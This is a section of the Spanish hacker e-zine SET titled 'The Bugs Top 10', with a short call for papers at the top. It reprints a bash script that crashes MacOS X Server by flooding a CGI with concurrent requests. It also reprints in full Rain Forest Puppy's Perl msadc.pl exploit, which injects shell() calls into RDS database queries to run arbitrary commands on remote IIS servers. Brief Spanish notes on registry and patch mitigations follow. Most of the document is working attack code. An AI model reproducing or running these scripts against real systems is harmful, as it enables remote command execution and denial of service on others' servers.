SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

The Bugs Top 10

      2421

Autor: SET Staff
-[ 0x09 ]--------------------------------------------------------------------
-[ THE BUGS TOP 10 ]---------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-20-


	[ Como vereis, esta seccion es mas corta de lo habitual. Bueno, la
	  verdad es que estaba harto de ver nada mas que distintas versiones
	  de buffer overflows, asi que si quereis disponer de ellos, en
	  los bookmarks de este numero se recoge una direccion donde
	  podreis localizarlos ]


-( 0x01 )-
Para	 : MacOS X
Tema	 : System panic
Patch	 : No seria capaz de asegurarlo, pero quizas la manzana sepa algo.
Creditos : Juergen Schmidt

Descripcion y Notas:

Pues tan simple como que cuando se esta ejcutado Apache sobre el MacOS
X Server, si existen mas de 32 peticiones dirigidas a un CGI, el sistema
se cuelga, obteniendose un system panic.

Para comprobar si nuestro sistema es vulnerable, el descubridor del fallo
nos proporciona el siguiente script para ejecutarlo con el Apache Benchmark.


<++> set_020/tbt10/CGI-McPanic
#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with
#              concurrent calls to a CGI-Script
#
# before use, do:
#
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done
<-->


-( 0x02 )-
Para	 : RDS ISS
Tema	 : Vulnerabilidad
Patch	 : 0/1
Creditos : Rain Forest Puppy

<++> set_020/tbt10/msadc.pl
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
#	by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#   beta test and find errors!

use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
	-h <host> 	= host you want to scan (ip or domain)
	-d <seconds>	= delay between calls, default 1 second
	-X		= dump Index Server path table, if available
	-N		= query VbBusObj for NetBIOS name
	-V		= use VbBusObj instead of ActiveDataFactory
	-v		= verbose
	-e		= external dictionary file for step 5

	Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"
	. "cmd /c ";
$in=<STDIN>;    chomp $in;
$command="cmd /c " . $in ;

if (defined $args{R}) {&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

print "\nStep 3: Trying known DSNs...";
&known_dsn;

print "\nStep 4: Trying known .mdbs...";
&known_mdb;

if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";
exit;

##############################################################################

sub sendraw { 	# ripped and modded from whisker
	sleep($delay); # it's a DoS on the server! At least on mine...
	my ($pstr)=@_;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		die("Socket problems\n");
	if(connect(S,pack "SnA4x8",2,80,$target)){
		select(S);		$|=1;
		print $pstr;		my @in=<S>;
		select(STDOUT);		close(S);
	 	return @in;
	} else { die("Can't connect...\n"); }}

##############################################################################

sub make_header {  # make the HTTP request
my $which, $msadc; # yeah, this is WAY redundant.  I'll fix it later

if (defined $args{V}){
$msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
; } else {
$msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
;}
$msadc=~s/\n/\r\n/g;
return $msadc;}

##############################################################################

sub make_req {  # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
	$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##############################################################################

sub make_shell {  # this makes the shell() statement
return "'|shell(\"$command\")|'";}

##############################################################################

sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##############################################################################

sub rdo_success {  # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}

##############################################################################

sub make_dsn {  # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
	"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
	. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
  foreach $line (@results) {
    return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}

##############################################################################

sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##############################################################################

sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs) {
 print "$dir -> "; # fun status so you can see progress
 foreach $drive (@drives) {
 print "$drive: ";  # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

##############################################################################

sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
	$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##############################################################################

sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

##############################################################################

sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}

##############################################################################

sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";

$p[3]="$p[3]";  $p[3]=~s/\n//g; $p[4]="$p[4]";  $p[4]=~s/\n//g;

if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else { print "failed\n"; verbose(odbc_error(@results));}}

elsif ($p[1]==3){
	if(run_query("$p[3]")){
	print "Success!\n";} else { print "failed\n"; }}

elsif ($p[1]==4){
	if(run_query($drvst . "$p[3]")){
	print "Success!\n"; } else { print "failed\n"; }}
exit;}

##############################################################################

sub create_table {
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##############################################################################

sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
	"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
	"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns) {
	print ".";
	next if (!is_access("DSN=$dSn"));
	if(create_table("DSN=$dSn")){
	print "$dSn successful\n" if (!defined $args{V});
	if(run_query("DSN=$dSn")){
	print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}

##############################################################################

sub is_access {
my ($in)=@_;
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##############################################################################

sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 0;}

##############################################################################

sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many
my @sysmdbs=(	"\\catroot\\icatalog.mdb",
		"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
		"\\system32\\certmdb.mdb",
		"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=(	"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
		"\\cfusion\\cfapps\\forums\\forums_.mdb",
		"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
		"\\cfusion\\cfapps\\security\\realm_.mdb",
		"\\cfusion\\cfapps\\security\\data\\realm.mdb",
		"\\cfusion\\database\\cfexamples.mdb",
		"\\cfusion\\database\\cfsnippets.mdb",
		"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
		"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
		"\\cfusion\\brighttiger\\database\\cleam.mdb",
		"\\cfusion\\database\\smpolicy.mdb",
		"\\cfusion\\database\cypress.mdb",
	"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
		"\\website\\cgi-win\\dbsample.mdb",
	"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
	"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
		);  #these are just \

foreach $drive (@drives) {
 foreach $dir (@dirs){
  foreach $mdb (@sysmdbs) {
   print ".";
   if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
    print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if
	(!defined $args{V});
    if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
     print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
    }}}}}

 foreach $drive (@drives) {
  foreach $mdb (@mdbs) {
   print ".";
   if(create_table($drv . $drive . $dir . $mdb)){
    print "\n" . $drive . $dir . $mdb . " successful\n" if
	(!defined {V});
    if(run_query($drv . $drive . ":" . $dir . $mdb)){
     print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
    }}}}
}

##############################################################################

sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
	$results[$c]=~s/\x00//g;
	$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
	$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
	$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
	$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}

##############################################################################

sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
	$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
	next if (!is_access("DSN=$dSn"));
	if(create_table("DSN=$dSn")){
	print "$dSn successful\n" if(!defined $args{V});
	if(run_query("DSN=$dSn")){
	print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}
print "\n"; close(IN);}

##############################################################################

sub sendraw2 { 	# ripped and modded from whisker
	sleep($delay); # it's a DoS on the server! At least on mine...
	my ($pstr)=@_;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		die("Socket problems\n");
	if(connect(S,pack "SnA4x8",2,80,$target)){
		open(OUT,">raw.out");   my @in;
		select(S);	$|=1; 	print $pstr;		
		while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
		close(OUT); select(STDOUT); close(S); return @in;
	} else { die("Can't connect...\n"); }}

##############################################################################

sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
 if($in[$c] =~/^\x0d\x0a/){
  if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
  else { return $c+1; }}}
return -1;} # it should never get here actually

##############################################################################

sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}

##############################################################################

sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("Server",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}

##############################################################################

sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0

--!ADM!ROX!YOUR!WORLD!--
EOT
;  $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}

##############################################################################

# Note:  This is not a good example of precision code.  It is very
# redundant and has a few kludges.  I have been adding features in one at
# at a time, so it has resulted in redundant functions and patched code.
# I will be rewriting it in the future, sometime.  Look for the newer code
# revisions at www.technotronic.com/rfp/
# This may also be included in the NT-PTK/P.  If you don't know what that
# is, just wait and see. :)

##############################################################################
<-->

Descripcion y Notas:

Uso y abuso de poder de las RDS en Microsoft.

Si queremos evitarlo (el abuso), podemos hacerlo eliminando la entrada
del registro:

	HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/
		W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls

Y para asegurarnos, borrar el fichero vbbusobj.dll

Si podemos prescindir de RDS, pues basta con actualizarse, cosa que
hay que hacer en cualquier caso, y ejecutar handsafe para cerciorarnos de
que el sistema es seguro.